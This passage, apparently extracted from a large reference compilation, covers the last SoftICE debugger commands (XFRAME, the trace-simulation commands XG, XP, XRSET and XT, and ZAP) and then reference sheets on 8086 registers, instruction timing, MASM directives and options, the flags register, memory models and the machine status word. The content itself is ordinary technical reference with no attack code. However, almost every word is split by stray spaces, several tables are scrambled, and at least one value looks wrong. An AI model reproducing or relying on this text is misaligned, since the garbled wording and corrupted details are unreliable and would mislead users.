l i nes. I f t he Wat ch wi ndow i s open, t he exampl e set s i t t o f our l i nes.
WW4


: X
^X WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT FLOWCONTROL
^F5
^Exi t f r omt he Sof t I CE scr een.

%Synt ax
X

Pagina 781 di 991
%Use
The X command exi t s Sof t I CE and r est or es cont r ol t o t he pr ogr amt hat was
i nt er r upt ed t o
br i ng up Sof t I CE. The Sof t I CE scr een di sappear s. I f you had set any
br eakpoi nt s, t hey
become act i ve.

Not e: Whi l e i n Sof t I CE, pr essi ng t he hot key sequence ( def aul t key Ct r l - D) or
ent er i ng t he
G command wi t hout any par amet er s i s equi val ent t o ent er i ng t he X command.


: XFRAME
^XFRAME Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay except i on handl er f r ames t hat ar e cur r ent l y i nst al l ed.

%Synt ax
XFRAME [ except - f r ame* | t hr ead- t ype]

except - f r ame* St ack poi nt er val ue f or an except i on f r ame.
t hr ead- t ype Val ue t hat Sof t I CE r ecogni zes as a t hr ead.

%Use
Except i on f r ames ar e cr eat ed by Mi cr osof t ' s St r uct ur ed Except i on Handl i ng API
( SEH) .
Handl er s ar e i nst ant i at ed on t he st ack, so t hey ar e cont ext speci f i c.

When an except i on handl er i s i nst al l ed, i nf or mat i on about i t i s r ecor ded i n t he
cur r ent st ack
f r ame. Thi s i nf or mat i on i s r ef er r ed t o as an Except i onRegi st r at i on. The XFRAME
command
under st ands t hi s i nf or mat i on, and wal ks backwar ds t hr ough st ack f r ames unt i l i t
r eaches t he
t op- most except i on handl er . Fr omt her e i t begi ns di spl ayi ng each r egi st r at i on
r ecor d up t o t he
cur r ent l y act i ve scope. Fr omeach r egi st r at i on, i t det er mi nes i f t he handl er i s
act i ve or i nact i ve;
i t s associ at ed " gl obal except i on handl er ; " and i f t he handl er i s act i ve, t he
SEH t ype: t r y/ except
or t r y/ f i nal l y: I n t he case of act i ve except i on handl er s, i t al so di spl ays t he
except i on f i l t er or
f i nal l y handl er addr ess.

Not e: The gl obal except i on handl er i s act ual l y an except i on di spat cher t hat
uses i nf or mat i on
wi t hi n an except i on scope t abl e t o det er mi ne whi ch, i f any, except i on handl er
handl es
t he except i on. I t al so handl es ot her t asks such as gl obal and l ocal unwi nds.
You can use t he gl obal except i on handl er , and t r y/ except / f i nal l y addr esses t o
t r ap SEH
except i ons by set t i ng br eakpoi nt s on appr opr i at e handl er addr esses.
The XFRAME command i s cont ext - sensi t i ve, so i f you do not speci f y one of t he
opt i onal
par amet er s, Sof t I CE r ever t s t o t he cont ext t hat was act i ve at pop- up t i me and
di spl ays t he
except i on f r ames f or t he cur r ent t hr ead. When speci f yi ng an except i on f r ame
poi nt er as an
opt i onal par amet er , make sur e you ar e i n a cont ext wher e t hat except i on f r ame
i s val i d. For
t hr ead- t ype par amet er s, Sof t I CE aut omat i cal l y swi t ches t o t he cor r ect cont ext
f or t he t hr ead.
Bel ow t he i nf or mat i on f or t he Except i onRegi st r at i on r ecor d, each act i ve handl er
f or t hat
Pagina 782 di 991
except i on f r ame i s l i st ed. For each act i ve handl er , i t s t ype ( t r y/ except or
t r y/ f i nal l y) , t he
addr ess of i t s except i on f i l t er ( f or t r y/ except onl y) , and t he addr ess of t he
except i on handl er
di spl ay. Because except i on handl er s can be nest ed, mor e t han one ent r y may be
l i st ed f or each
Except i onRegi st r at i on r ecor d.

The XFRAME command uses bar e addr esses i n i t s out put . You can use ei t her t he
STACK or
WHAT commands t o get an i dea of whi ch API s i nst al l ed whi ch except i on handl er s.

Do not conf use t he xScope val ue wi t h t he nest i ng l evel of except i on handl er s.
Al t hough t hese
val ues may appear t o have some cor r el at i on, t he val ue of xScope i s si mpl y an
i ndex i nt o a
scope t abl e ( xTabl e) . The scope t abl e ent r y cont ai ns a l i nk t o i t s par ent scope
( i f any) .
I n t he event t hat a st ack f r ame i s not pr esent , t he XFRAME wi l l not be abl e t o
compl et e t he
st ack wal k.

%Out put
For each except i on f r ame t hat i s i nst al l ed, t he f ol l owi ng i nf or mat i on di spl ays:
xFr ame Addr ess of t he Except i onRegi st r at i on. Thi s val ue i s st ack based.
xHandl er Addr ess of t he gl obal except i on handl er whi ch di spat ches t he
except i on t o t he appr opr i at e t r y/ except / f i nal l y f i l t er / handl er .
xTabl e Addr ess of t he scope t abl e used by t he gl obal except i on handl er t o
di spat ch except i ons.
xScope I ndex i nt o t he xTabl e f or t he cur r ent l y act i ve except i on handl er . I f
t hi s
val ue i s - 1, t he except i on handl er i s i nst al l ed, but i s i nact i ve and wi l l
not t r ap an except i on.

%Exampl e
The f ol l owi ng exampl e i l l ust r at es t he use of t he XFRAME command f or t he
cur r ent l y act i ve
t hr ead:
. : XFRAME
xFr ame xHandl er xTabl e xScope
- - - - - - - - - - - - - - - - - - - - - - - - - -
0x45FFFDC 0x60639638 0x606018B8 00
t r y/ except ( 0000) f i l t er =0x60606F72, handl er =0x60606F85
0x45FFFA8 0x5FE16890 0x5FE11210 00
t r y/ except ( 0000) f i l t er =0x5FE125EB, handl er =0x5FE125F8
0x45FFB74 0x77F8B1BC 0x77F61370 00
t r y/ except ( 0000) f i l t er =0x77F7DD21, handl er =0x77F7DD31

: XG
^XG Wi ndows 3. 1, Wi ndows 95 Symbol / Sour ce
^Go t o an addr ess i n t r ace si mul at i on mode.

%Synt ax
XG [ r ] addr ess

%Use
XG does a Go t o a speci f i c code addr ess wi t hi n t he back t r ace hi st or y buf f er .
Thi s command
can onl y be used i n t r ace si mul at i on mode. The R par amet er makes XG go
backwar ds wi t hi n
t he back t r ace hi st or y buf f er . I f t he speci f i ed addr ess i s not f ound wi t hi n t he
back t r ace hi st or y
buf f er , an er r or di spl ays.
Pagina 783 di 991

%Exampl e
Thi s exampl e makes t he i nst r uct i on at addr ess CS: 2FF000h t he cur r ent
i nst r uct i on i n t he
back t r ace hi st or y buf f er .
XG 2f f 000


: XP
^XP WI NDOWS 3. 1, WI NDOWS 95 SYMBOL/ SOURCE
^Ct r l - F10
^Pr ogr amst ep i n t r ace si mul at i on mode.

%Synt ax
XP

%Use
The XP command does a pr ogr amst ep of t he cur r ent i nst r uct i on i n t he back t r ace
hi st or y
buf f er . I t can onl y be used i n t r ace si mul at i on mode. Use t hi s command t o ski p
over cal l s t o
pr ocedur es and r ep st r i ng i nst r uct i ons.

%Exampl e
Thi s exampl e does a pr ogr amst ep over t he cur r ent i nst r uct i on i n t he back t r ace
hi st or y buf f er .
XP


: XRSET
^XRSET WI NDOWS 3. 1, WI NDOWS 95 SYMBOL/ SOURCE COMMAND
^Reset t he back t r ace hi st or y buf f er .

%Synt ax
XRSET

%Use
XRSET cl ear s al l i nf or mat i on f r omt he back t r ace hi st or y buf f er . I t can onl y be
used when
NOT i n t r ace si mul at i on mode.

%Exampl e
Thi s exampl e cl ear s t he back t r ace hi st or y buf f er .
XRSET


: XT
^XT WI NDOWS 3. 1, WI NDOWS 95 SYMBOL/ SOURCE COMMAND
^Ct r l - F8, XT R Al t - F8
^Si ngl e st ep i n t r ace si mul at i on mode.

%Synt ax
XT [ R]

%Use
Use t he XT command t o si ngl e st ep t he cur r ent i nst r uct i on i n t he back t r ace
hi st or y buf f er .

The XT command i s val i d onl y wi t hi n t he i n t r ace si mul at i on mode. Thi s command
st eps t o
t he next i nst r uct i on cont ai ned i n t he back t r ace hi st or y buf f er . The command XT
R si ngl e
st eps backwar ds wi t hi n t he back t r ace hi st or y buf f er .
Pagina 784 di 991

%Exampl e
Thi s exampl e si ngl e st eps one i nst r uct i on f or war d i n t he back t r ace hi st or y
buf f er .
XT


: ZAP
^ZAP WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT MODE CONTROL COMMAND
^Repl ace an embedded i nt er r upt 1 or 3 wi t h a NOP.

%Synt ax
ZAP

%Use
The ZAP command r epl aces an embedded i nt er r upt 1 or 3 wi t h t he appr opr i at e
number of
NOP i nst r uct i ons. Thi s i s usef ul when t he I NT 1 or I NT 3 i s pl aced i n code t hat
i s r epeat edl y
execut ed and you no l onger want Sof t I CE t o pop up. Thi s command wor ks onl y i f
t he I NT 1
or I NT 3 i nst r uct i on i s t he one bef or e t he cur r ent CS: EI P.

%Exampl e
The embedded i nt er r upt 1 or i nt er r upt 3 wi l l be r epl aced wi t h NOP i nst r uct i ons
i n t he
f ol l owi ng exampl e:
ZAP



































Pagina 785 di 991
@Assembl er Pr ogr ammi ng Topi cs
: 8086 ar chi t ect ur e
^I nt el 8086 Fami l y Ar chi t ect ur e

% Gener al Pur pose Regi st er s Segment Regi st er s

AH/ AL AX ( EAX) Accumul at or CS Code Segment
BH/ BL BX ( EBX) Base DS Dat a Segment
CH/ CL CX ( ECX) Count er SS St ack Segment
DH/ DL DX ( EDX) Dat a ES Ext r a Segment
( FS) 386 and newer
( Exx) i ndi cat es 386+ 32 bi t r egi st er ( GS) 386 and newer


% Poi nt er Regi st er s St ack Regi st er s

SI ( ESI ) Sour ce I ndex SP ( ESP) St ack Poi nt er
DI ( EDI ) Dest i nat i on I ndex BP ( EBP) Base Poi nt er
I P I nst r uct i on Poi nt er

% St at us Regi st er s

FLAGS St at us Fl ags ( see ~FLAGS~)

% Speci al Regi st er s ( 386+ onl y)

CR0 Cont r ol Regi st er 0 DR0 Debug Regi st er 0
CR2 Cont r ol Regi st er 2 DR1 Debug Regi st er 1
CR3 Cont r ol Regi st er 3 DR2 Debug Regi st er 2
DR3 Debug Regi st er 3
TR4 Test Regi st er 4 DR6 Debug Regi st er 6
TR5 Test Regi st er 5 DR7 Debug Regi st er 7
TR6 Test Regi st er 6
TR7 Test Regi st er 7

% Regi st er Def aul t Segment Val i d Over r i des

BP SS DS, ES, CS
SI or DI DS ES, SS, CS
DI st r i ngs ES None
SI st r i ngs DS ES, SS, CS


- see ~CPU~ ~DETECTI NG~ ~I nst r uct i on Ti mi ng~

: I nst r uct i on Ti mi ng
^I nst r uct i on Cl ock Cycl e Cal cul at i on


Some i nst r uct i ons r equi r e addi t i onal cl ock cycl es due t o a " Next
I nst r uct i on Component " i dent i f i ed by a " +m" i n t he i nst r uct i on
cl ock cycl e l i st i ngs. Thi s i s due t o t he pr ef et ch queue bei ng
pur ge on a cont r ol t r ansf er s. Bel ow i s t he gener al r ul e f or
cal cul at i ng " m" :


88/ 86 not appl i cabl e
286 " m" i s t he number of byt es i n t he next i nst r uct i on
386 " m" i s t he number of component s i n t he next i nst r uct i on
( t he i nst r uct i on codi ng ( each byt e) , pl us t he dat a and
t he di spl acement ar e al l consi der ed component s)


Pagina 786 di 991
^8088/ 8086 Ef f ect i ve Addr ess ( EA) Cal cul at i on

% Descr i pt i on Cl ock Cycl es

Di spl acement 6
Base or I ndex ( BX, BP, SI , DI ) 5
Di spl acement +( Base or I ndex) 9
Base+I ndex ( BP+DI , BX+SI ) 7
Base+I ndex ( BP+SI , BX+DI ) 8
Base+I ndex+Di spl acement ( BP+DI , BX+SI ) 11
Base+I ndex+Di spl acement ( BP+SI +di sp, BX+DI +di sp) 12


- add 4 cycl es f or wor d oper ands at odd addr esses
- add 2 cycl es f or segment over r i de
- 80188/ 80186 t i mi ngs di f f er f r omt hose of t he 8088/ 8086/ 80286


% Task St at e Cal cul at i on

" TS" i s def i ned as swi t chi ng f r omVM/ 486 or 80286 TSS t o one of
t he f ol l owi ng:


New Task

486 TSS 486 TSS 386 TSS 386 TSS 286 TSS
Ol d Task ( VM=0) ( VM=1) ( VM=0) ( VM=1)

386 TSS ( VM=0) 309 226 282

386 TSS ( VM=1) 314 231 287

386 CPU/ 286 TSS 307 224 280

486 CPU/ 286 TSS 199 177 180



% Mi scel l aneous

- al l t i mi ngs ar e f or best case and do not t ake i nt o account wai t
st at es, i nst r uct i on al i gnment , t he st at e of t he pr ef et ch queue,
DMA r ef r esh cycl es, cache hi t s/ mi sses or except i on pr ocessi ng.
- t o conver t cl ocks t o nanoseconds di vi de one mi cr osecond by t he
pr ocessor speed i n MegaHer t z:

^( 1000MHz/ ( n MHz) ) = X nanoseconds


- see ~8086 Ar chi t ect ur e~

: di r ect i ves: asmdi r ect i ves
^Macr o Assembl er Di r ect i ves

^Pr ocessor Code Gener at i on Di r ect i ves

. 186 enabl es assembl y of 80186 i nst r uct i ons
. 286 enabl es assembl y of non pr i vi l eged 80286 i nst r uct i ons
. 286C same as . 286
. 286P enabl es assembl y of al l 80286 i nst r uct i ons
. 287 enabl ed assembl y of 80287 i nst r uct i ons
. 386 enabl ed assembl y of non pr i vi l eged 80386 i nst r uct i ons
Pagina 787 di 991
I f used bef or e . MODEL segment s ar e def i ned as 32bi t s.
Causes al l segment s t o def aul t t o DWORD al i gnment .
. 386P enabl ed assembl y of al l 80386 i nst r uct i ons ( see . 386)
. 387 enabl ed assembl y of 80387 i nst r uct i ons
. 8086 def aul t , enabl es assembl y of 8088/ 8086 i nst r uct i on
. 8087 def aul t , enabl es assembl y of 8087 i nst r uct i ons


These di r ect i ves must pr ecede t he segment t hey ar e t o ef f ect .
t hey cannot occur wi t hi n a segment .


^Memor y Model Di r ect i ves

. CODE [ name] st ar t s code segment ; must f ol l ow . MODEL di r ect i ve
. CONST st ar t s a const ant dat a segment wi t h name CONST;
must f ol l ow . MODEL di r ect i ve; pl aced i n DGROUP
. DATA st ar t s a near dat a segment f or i ni t i al i zed dat a
wi t h name _DATA; must f ol l ow . MODEL di r ect i ve;
pl aced i n DGROUP
. DATA? st ar t s a near dat a segment f or uni ni t i al i zed
dat a wi t h name _BSS; must f ol l ow . MODEL
di r ect i ve; pl aced i n DGROUP
. FARDATA [ name] not pl aced i n any gr oup
. FARDATA? [ name] not pl aced i n any gr oup
. MODEL model def i nes memor y model t o be one of t he f ol l owi ng:
SMALL, COMPACT, MEDI UM, LARGE or HUGE; must be
used pr i or t o any ot her segment di r ect i ve
. STACK [ si ze] i ndi cat es st ar t of st ack segment named ' STACK'
wi t h si ze i ndi cat i ng number of byt es t o r eser ve,
def aul t i s 1k; pl aced i n DGROUP


^Segment Def i ni t i on, Segment Or der i ng and Li nkage Di r ect i ves

. ALPHA or der s segment s al phabet i cal l y
. SEQ or der s segment s sequent i al l y ( def aul t )
ASSUME sr eg: name [ , sr eg: name. . . ] sel ect s def aul t segment
r egi st er t o be used by t he assembl er , not t he CPU,
f or addr essi ng al l symbol s i n t he segment or gr oup.
Name must be associ at ed wi t h a SEGMENT or GROUP
or set t o " NOTHI NG" t o i ndi cat e no segment r egi st er
i s t o be associ at ed.
COMM def [ , def . . . ] def i nes var i abl es t hat ar e bot h publ i c and
ext er nal ( communal ) . Can be used i n and i ncl ude
f i l e t o i dent i f y i t t o each sour ce f i l e wi t hout
decl ar i ng i t i n each model as ext er n. Act ual l y
def i nes dat a once. Communal var i abl es cannot be
i ni t i al i zed, and ar e not guar ant eed t o be al l ocat ed
cont i guousl y si nce t hese ar e al l ocat ed by t he l i nker .
DOSSEG or der s segment s t he same as DOS. Thi s i s Mi cr osof t
l anguages def aul t or der ; causes par agph al i gnment
END [ name] mar ks end of sour ce modul e and set s pr ogr am
st ar t addr ess ( CS: I P) i f ' name' i s pr esent
name ENDP ends pr ocedur e ' name'
name ENDS ends a segment or st r uct ur e
EXTRN name: t ype [ , name: t ype. . . ] def i nes one or mor e ext er nal symbol s
name GROUP seg[ , seg]
name LABEL [ NEAR| FAR| PROC] def i nes an ent r y poi nt ; I f PROC i s speci f i ed,
i t ' s val ue depends on t he cur r ent MODEL
NAME pgmName i gnor ed si nce MASM 5. 0; used t o set modul e name
name PROC [ NEAR| FAR] def i nes pr ocedur e; NEAR/ FAR has . MODEL def aul t
PUBLI C name[ , name. . . ] makes symbol ' name' avai l abl e t o ot her modul es
Pagina 788 di 991
name SEGMENT [ al i gn] [ combi ne] [ use] [ ' cl ass' ]
al i gn = BYTE al i gn on byt e addr ess ( no al i gnment )
= WORD al i gn on even addr ess
= DWORD al i gn on DWORD addr ess
= PARA al i gn on next 16 byt e par agr aph
= PAGE al i gn on next 256 byt e boundar y
combi ne = PUBLI C si mi l ar named segment s ar e concat enat ed ( CS)
= STACK si mi l ar named segment s ar e concat enat ed ( SS)
= COMMON si mi l ar named segment ar e over l apped
= MEMORY si mi l ar names segment s ar e concat enat ed
= AT addr segment r el at i ve t o absol ut e addr ess
= not hi ng segment i s pr i vat e and l oaded i ndependent
use = USE16 segment s wi l l be 16 bi t s ( i f . 386)
= USE32 segment s wi l l be 32 bi t s ( i f . 386)


^Dat a Al l ocat i on Di r ect i ves

ALI GN n al i gns next var i abl e or i nst r uct i on on a boundar y
t hat i s a mul t i pl e of " n" . Thi s can speed memor y
f et ches on 16 and 32 bi t CPU' S i f al i gned. New t o
~MASM~ 5. 0, pr evi ous ver si ons used EVEN. Can r esul t
i n NOP' s added t o code.
[ name] DB i ni t [ , i ni t . . . ] def i ne byt e
[ name] DD i ni t [ , i ni t . . . ] def i ne doubl e wor d ( DWORD, 4 byt es)
[ name] DF i ni t [ , i ni t . . . ] def i ne f ar wor d ( FWORD, 386, 6 byt es)
[ name] DQ i ni t [ , i ni t . . . ] def i ne quad wor d ( QWORD, 8 byt es)
[ name] DT i ni t [ , i ni t . . . ] def i ne t emp wor d ( TBYTE, 10 byt es)
[ name] DWi ni t [ , i ni t . . . ] def i ne wor d ( WORD, 2 byt es)
count DUP ( i ni t [ , i ni t . . . ] ) dupl i cat e ' i ni t ' ' count ' t i mes; DUP can be
nest ed t o 17 l evel s; DUP' ed i ni t i al val ues
of ( ?) don' t r esul t i n dat a i n t he obj ect f i l e
but i nst ead i ncr ement t he next dat a addr
name ENDS end of st r uct ur e or segment
EVEN same as al i gn 2; Al i gns dat a on even boundar y
ORG expr set s l ocat i on count er t o ' expr ' ; I f ' expr '
i s ' $' t he code i s ORG' ed at t he cur r ent l oc.
name RECORD f l d[ , f l d. . . ] def i nes a byt e or wor d var i abl e
consi st i ng of bi t f i el ds; f i el ds have t he f or mat :
f i el dname: wi dt h[ =expr ] ; t he sumof al l wi dt hs
must be <= 0
[ name] STRUC <[ i ni t [ , i ni t ] ] > def i nes begi nni ng of a st r uct ur e; Val ues
bet ween <> ar e i ni t i al i zer s; The ' <>' symbol s
ar e r equi r ed.


^Logi cal and Bi t Or i ent ed Di r ect i ves

expr 1 AND expr 2 r et ur ns nonzer o i f any set bi t mat ches
expr 1 EQ expr 2 r et ur ns ( - 1) f or t r ue or ( 0) f or f al se
expr 1 GE expr 2 r et ur ns ( - 1) f or t r ue or ( 0) f or f al se
expr 1 LE expr 2 r et ur ns ( - 1) f or t r ue or ( 0) f or f al se
expr 1 LT expr 2 r et ur ns ( - 1) f or t r ue or ( 0) f or f al se
MASK {f l dname| r ecor d} r et ur ns bi t mask f or bi t s i n r ecor d
expr 1 OR expr 2 r et ur ns bi t wi se OR on expr 1 and expr 2
NOT expr r et ur ns ' expr ' wi t h al l bi t s r ever sed
expr SHL count r et ur ns expr shi f t ed l ef t count t i mes
expr SHR count r et ur ns expr shi f t ed r i ght count t i mes
WI DTH {f l dname| r ecor d} r et ur ns wi dt h of f i el d i n bi t r ecor d
expr 1 XOR expr 2 r et ur ns bi t wi se XOR on expr 1 and expr 2


^Ot her Oper at or s and Di r ect i ves
Pagina 789 di 991

[ ] i ndex oper at or , same as addi t i on
. MSFLOAT encode f l oat s i n Mi cr osof t Real For mat
. TYPE expr r et ur ns byt e def i ni ng mode and scope of expr
name EQU expr assi gns expr essi on t o name. sur r ound t ext wi t h <>
HI GH expr r et ur ns hi gh byt e of ' expr '
I NCLUDE f i l espec i nser t s code f r om' f i l espec' i nt o f i l e
I NCLUDELI B f i l espec st or es l i nk l i br ar y i nf o i n . OBJ f i l e
LENGTH var r et ur ns number of dat a obj ect s i n DUPed ' var '
LOW expr r et ur ns l ow byt e of ' expr '
expr 1 MOD expr 2 r et ur n r emai nder of expr 1/ expr 2
OFFSET expr r et ur ns of f set of expr ; When . MODEL i s used
t he of f set of a gr oup r el at i ve segment r ef er s
t o t he end of t he segment
t ype PTR expr f or ces ' expr ' t o ' t ype'
SEG expr r et ur ns segment of expr essi on
SHORT set s t ype of l abel t o shor t , l ess t han 128
byt es f r omst ar t of next i nst r uct i on
SI ZE var r et ur ns # of byt es al l ocat ed by DUP di r ect i ve
THI S t ype r et ur ns an oper and of speci f i ed t ype whose
of f set and segment val ues ar e equal t o t he
cur r ent l ocat i on
TYPE expr r et ur ns t ype of expr essi on


% Pr ogr amLi st i ng and Document at i on Di r ect i ves

. CREF r est or es l i st i ng of cr oss r ef er ence symbol s
. LALL i ncl ude macr o expansi on i n l i st i ngs
. LFCOND i ncl ude f al se condi t i onal bl ocks i n l i st i ngs
. LI ST st ar t s l i st i ng of st at ement s
. SALL suppr ess l i st i ng of al l macr o expansi ons
. SFCOND suppr ess f al se condi t i onal bl ocks i n l i st i ngs
. XALL st ar t l i st i ng of macr o expansi on
. XCREF [ name[ , name. . . ] ] suppr ess symbol s i n cr oss r ef er ence
. XLI ST suppr ess pr ogr aml i st i ng
COMMENT del i mi t er [ t ext ]
PAGE [ [ l en] , wi d] set s page l engt h&wi dt h or ej ect s i f no par ms
SUBTTL t ext def i nes pr ogr aml i st i ng subt i t l e
TI TLE t ext def i nes pr ogr aml i st i ng t i t l e


% Condi t i on Assembl y Di r ect i ves

ELSE el se cl ause f or condi t i onal assembl y bl ock
ENDI F t er mi nat es a condi t i onal assembl y bl ock
I FDEF name condi t i onal assembl y i f name i s def i ned


% Macr o Def i ni t i on Di r ect i ves

ENDM t er mi nat es a macr o bl ock
EXI TM exi t macr o expansi on i mmedi at el y
I RP par m, <ar g[ , ar g. . . ] > par mi n t he st at ement s encl osed by t he
I RP and ENDM wi l l be r epeat ed and r epl aced wi t h t he
val ues of " ar g" f or each " ar g" i n t he <>.
I RPC par m, <st r i ng> par mi n t he st at ement s encl osed by t he I RPC
and ENDM wi l l be r epeat ed and r epl aced wi t h t he val ues
of each char i n t he " st r i ng" f or each char act er
posi t i on i n t he st r i ng. " st r i ng" shoul d be encl osed
i n <> i f i t cont ai ns spaces or ot her separ at or s.
LOCAL name[ , name. . . ] def i nes scope symbol as l ocal t o a macr o
name MACRO [ par m[ , par m. . . ] ] def i nes a macr o and i t ' s par amet er s
Pagina 790 di 991
PURGE name[ , name] pur ges macr os f r ommemor y
REPT expr r epeat s al l st at ement s t hr ough ENDM st at ement f or
' expr ' t i mes


% User Message Di r ect i ves

. ERR gener at es and er r or
. ERR1 gener at es an er r or on PASS 1
. ERR2 gener at es an er r or on PASS 2
. ERRB <ar g> gener at es an er r or i f ' ar g' i s bl ank
. ERRDEF name gener at es an er r or i f ' name' i s pr evi ousl y def i ned
. ERRDI F[ I ] <ar g1>, <ar g2>
. ERRE expr gener at es and er r or i s ' expr ' i s f al se
%OUT t ext di spl ays ' t ext ' t o consol e


% Pr edef i ned Equat es ( avai l abl e onl y i f si mpl i f i ed segment s ar e used)

@cur seg cont ai ns t he cur r ent segment
@f i l ename cur r ent f i l e name wi t hout ext ensi on
@code cont ai ns t he cur r ent code segment
@codesi ze 0 f or smal l & compact , 1 f or l ar ge, medi um& huge
@dat asi ze 0 f or smal l & medi um, 1 f or compact & l ar ge, 2=huge
@const cont ai ns segment of def i ne by . CONST
@dat a cont ai ns segment of def i ne by . DATA
@dat a? cont ai ns segment of def i ne by . DATA?
@f ar dat a cont ai ns segment of def i ne by . FARDATA
@f ar dat a? cont ai ns segment of def i ne by . FARDATA?
@st ack cont ai ns segment of def i ne by . STACK

Most of t hese ar e onl y avai l abl e i f t he si mpl i f i ed segment syst em
i s used. @cur seg and @f i l ename ar e avai l abl e r egar dl ess.


% Radi x Speci f i er s

. RADI X expr set s r adi x [ 2. . 16] f or number s ( dec. def aul t )
B bi nar y dat a speci f i er
Q oct al dat a speci f i er
O oct al dat a speci f i er
D deci mal dat a speci f i er
H hexadeci mal dat a speci f i er


: masmopt i ons: assembl er opt i ons
^Mi cr osof t Assembl er Command Li ne Opt i ons

^MASM [ opt i ons] sr cf i l e[ , [ obj f i l e] [ , [ l st f i l e] [ , [ xr ef f i l e] ] ] ] [ ; ]

% Opt i ons Def i ni t i on
/ A gener at e segment s i n al phabet i cal or der
/ B[ si ze] set s I / O buf f er si ze i n K byt es ( 1. . 63, def aul t 32)
/ C gener at e cr oss r ef er ence f i l e wi t h . CRF ext ensi on
/ D gener at e PASS 1 l i st i ng
/ Dsym[ =val ] def i ne symbol f or use dur i ng assembl y
/ E emul at e f l oat i ng poi nt i nst r uct i ons ( f or use wi t h HLL)
/ H l i st opt i ons and command synt ax
/ I pat h i ncl ude- f i l e sear ch pat h
/ L gener at e l i st i ng f i l e wi t h . LST ext ensi on
/ ML case sensi t i ve f or al l symbol s
/ MU upper case al l symbol s ( def aul t )
/ MX case sensi t i ve i n ext er nal and publ i c symbol s
Pagina 791 di 991
/ N suppr ess symbol t abl es i n l i st i ngs
/ P check f or i mpur e code i n 286 and 386 pr ot ect ed
mode ( i nval i d CS over r i des)
/ S gener at e segment s i n t he or der t hey ar e f ound ( def aul t )
/ T t er se message di spl ay; di spl ay er r or s onl y
/ V ver bose message di spl ay; i ncl udes # l i nes and symbol s
/ W{0| 1| 2} assembl y war ni ng l evel
0 = no war ni ngs
1 = sever e war ni ngs onl y
2 = al l war ni ngs enabl ed
/ X di spl ay compl et e condi t i onal assembl y bl ocks i n
l i st i ng i ncl udi ng f al se condi t i onal s
/ Z di spl ay er r or s i ncl udi ng l i ne number s t o scr een
/ ZD gener at e l i ne number s i n . OBJ f i l es
/ ZI gener at e bot h symbol i c and l i ne number i nf or mat i on i n
. OBJ f i l es

% Envi r onment Var i abl es

I NCLUDE sear ch pat h f or i ncl ude f i l es
MASM def aul t command l i ne opt i ons
: f l ags r egi st er : 8086 f l ags
^FLAGS - I nt el 8086 Fami l y Fl ags Regi st er

11 10 F E D C B A 9 8 7 6 5 4 3 2 1 0
CF Car r y Fl ag
1
PF Par i t y Fl ag
0
AF Auxi l i ar y Fl ag
0
ZF Zer o Fl ag
SF Si gn Fl ag
TF Tr ap Fl ag ( Si ngl e St ep)
I F I nt er r upt Fl ag
DF Di r ect i on Fl ag
OF Over f l ow f l ag
I OPL I / O Pr i vi l ege Level ( 286+ onl y)
NT Nest ed Task Fl ag ( 286+ onl y)
0
RF Resume Fl ag ( 386+ onl y)
VM Vi r t ual Mode Fl ag ( 386+ onl y)

- see ~PUSHF~ ~POPF~ ~STI ~ ~CLI ~ ~STD~ ~CLD~
: model s: segment names
^Memor y Model Pr ogr ammi ng & Segment I nf or mat i on

% Model
TI NY Dat a and code f i t i n one 64K segment . Al l code and
dat a ar e accessed vi a near poi nt er s.
SMALL 64k dat a segment max and 64k code segment max. Al l
code and dat a ar e accessed vi a near poi nt er s.
COMPACT 1Mb dat a segment max and 64K code segment max. Code
i s accessed vi a near poi nt er s, dat a i s accessed vi a
f ar poi nt er s. No ar r ay can be gr eat er t han 64K
MEDI UM 64K dat a segment max and 1Mb code segment max. Code i s
accessed vi a f ar poi nt er s, dat a i s accessed vi a near poi nt er s.
LARGE 1Mb dat a segment max and 1Mb code segment max. Al l
code and dat a ar e accessed vi a f ar poi nt er s. No
si ngl e el ement can be gr eat er t han 64K.
HUGE 1Mb dat a segment max and 1Mb code segment max. Al l
code and dat a ar e accessed vi a f ar poi nt er s. Thi s i s
t he onl y model wher e ar r ays can be l ar ger t han 64K.
Pagina 792 di 991
I n t hi s mode i s C wi l l nor mal i ze al l dat a poi nt er s
t o avoi d segment wr appi ng.

^Smal l Memor y Model

% Di r ect i ve Segment Al i gnment Combi ne Cl ass
. CODE _TEXT WORD PUBLI C ' CODE'
. DATA _DATA WORD PUBLI C ' DATA'
. CONST CONST WORD PUBLI C ' CONST'
. DATA? _BSS WORD PUBLI C ' BSS'
. STACK STACK PARA STACK ' STACK'


^Compact Memor y Model

% Di r ect i ve Segment Al i gnment Combi ne Cl ass
. CODE _TEXT WORD PUBLI C ' CODE'
. FARDATA FAR_DATA PARA pr i vat e ' FAR_DATA'
. FARDATA? FAR_BSS PARA pr i vat e ' FAR_BSS'
. DATA _DATA WORD PUBLI C ' DATA'
. CONST CONST WORD PUBLI C ' CONST'
. DATA? _BSS WORD PUBLI C ' BSS'
. STACK STACK PARA STACK ' STACK'


^Medi umMemor y Model

% Di r ect i ve Segment Al i gnment Combi ne Cl ass
. CODE name_TEXT WORD PUBLI C ' CODE'
. DATA _DATA WORD PUBLI C ' DATA'
. CONST CONST WORD PUBLI C ' CONST'
. DATA? _BSS WORD PUBLI C ' BSS'
. STACK STACK PARA STACK ' STACK'


^Lar ge or Huge Memor y Model s

% Di r ect i ve Segment Al i gnment Combi ne Cl ass
. CODE name_TEXT WORD PUBLI C ' CODE'
. FARDATA FAR_DATA PARA pr i vat e ' FAR_DATA'
. FARDATA? FAR_BSS PARA pr i vat e ' FAR_BSS'
. DATA _DATA WORD PUBLI C ' DATA'
. CONST CONST WORD PUBLI C ' CONST'
. DATA? _BSS WORD PUBLI C ' BSS'
. STACK STACK PARA STACK ' STACK'


- al l segment s f al l i nt o DGROUP except f or ???_TEXT, FAR_DATA
and FAR_BSS
- see ~MASM DI RECTI VES~
: msw: machi ne st at us wor d
^MSW- Machi ne St at us Wor d ( 286+ onl y)


31 30- 5 4 3 2 1 0 Machi ne St at us Wor d
Pr ot ect i on Enabl e ( PE)
Mat h Pr esent ( MP)
Emul at i on ( EM)
Task Swi t ched ( TS)
Ext ensi on Type ( ET)
Reser ved
Pagi ng ( PG)

Pagina 793 di 991

Bi t 0 PE Pr ot ect i on Enabl e, swi t ches pr ocessor bet ween
pr ot ect ed and r eal mode
Bi t 1 MP Mat h Pr esent , cont r ol s f unct i on of t he ~WAI T~
i nst r uct i on
Bi t 2 EM Emul at i on, i ndi cat es whet her copr ocessor f unct i ons
